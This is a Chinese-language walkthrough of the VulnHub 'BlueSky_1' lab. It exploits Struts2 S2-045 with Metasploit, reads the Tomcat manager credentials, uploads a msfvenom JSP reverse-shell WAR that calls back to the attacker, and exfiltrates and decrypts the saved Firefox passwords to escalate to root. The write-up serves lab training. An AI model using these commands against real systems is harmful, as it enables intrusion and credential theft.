[vulnhub]BlueSky_1

Difficulty: Easy

Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).

信息收集

先探测主机存活:

1
nmap -sP 192.168.150.128/24

获得靶机地址192.168.150.129

然后进行端口扫描获得服务信息:

1
nmap --min-rate 10000 -T4 -A 192.168.150.129

扫描结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 19:45:ec:5c:59:46:c8:26:b5:a3:30:d9:2f:79:ac:85 (RSA)
|   256 18:d1:aa:64:f7:f3:6f:8c:91:82:09:57:0f:07:d2:d2 (ECDSA)
|_  256 8e:50:a9:c7:1b:23:e2:68:56:0f:fa:59:2a:0a:e0:3e (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.40
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.40
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

扫到靶机开启了22和8080端口,分别是ssh和web服务,且web服务使用了Tomcat中间件。

渗透过程

struts2漏洞利用

尝试爆破ssh失败,那就直接从web服务入手。

服务支持通过密码认证登陆管理员,尝试弱口令,失败。

接下来由于字典不行,扫目录没结果,直接找答案:struts2-showcase/,访问进入web目录。

根据AWVS13.X破解版 Windows、Linux、Docker使用AWVS扫描站点,扫到挺多高危的,直接使用msf攻击s2-045

参考https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/http/struts2_content_type_ognl.md

1
2
3
4
5
6
use exploit/multi/http/struts2_content_type_ognl
show options # 查看配置
set RHOSTS 192.168.150.129 # 设置靶机地址
set RPORT 8080             # 设置靶机端口
set TARGETURI /struts2-showcase/showcase.action # 设置action文件地址
run

利用成功。读取根目录user.txt

Try your best, you have passed the first challenge, and the last one is for you, root me!

提权

读取tomcat用户配置文件(/usr/local/tomcat/conf/tomcat-users.xml)获得管理员账号

1
<user username="admin" password="6mzf3>gfZ.pN8_Mp" roles="manager-gui"/>

登录tomcat管理员,管理员拥有删除目录和上传war包添加目录等权限。

这里可以很自然的想到上传文件getshell,之所以还要getshell是因为meterpreter无法支持某些命令(如sudo、python),我们还需要一个完整的shell执行sudo或执行其他命令从而读取/root下的文件。

当然,现在暂时还不需要执行什么特殊的命令,就继续使用meterpreter吧。

读取.bash_history获取信息用户进入过.mozilla/firefox/

根据文章渗透技巧——导出Firefox浏览器中保存的密码

不同版本的Firefox密钥文件的位置不同,具体区别如下:

  • Version小于58.0.2,密钥文件为key3.db
  • Version大于等于58.0.2,密钥文件为key4.db

而firefox目录下fvbljmev.default-release目录存在key4.db,我们可以通过该文件获得密钥。

按照文章的解密方法,不管什么方法似乎都不能在meterpreter上使用,所以我们还是要获得一个完整的shell。

运行命令生成war包

sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.150.128 LPOST=4444 -f war > reverse.war

将shell打包后上传,tomcat管理员可以获得路径信息/reverse,然后访问反弹shell。

使用python3 -c 'import pty; pty.spawn("/bin/bash")'生成交互式终端。

使用firefox_decrypt解密key4.db获得密码:

1、由于靶机没有git,所以只能下载靶机文件到本地

1
2
3
4
# 靶机
python3 -m http.server 8090 # 在8090开启web服务
# 攻击机
wget -r 192.168.150.129:8090/ # 下载靶机firefox目录文件

2、使用firefox_decrypt解密

1
python3 firefox_decrypt-master/firefox_decrypt.py 192.168.150.129:8090/

获得密码skysayohyeah

除了上面的下载方法,我们其实还可以使用冰蝎或其他webshell管理工具上传解密工具或下载文件,这里就不多说了。

最后直接sudo读取root.txt文件sudo cat /root/root.txt完成任务。

参考

https://medium.com/@jhnbsh/vulnhub-bluesky-1-write-up-4f16171e3c1e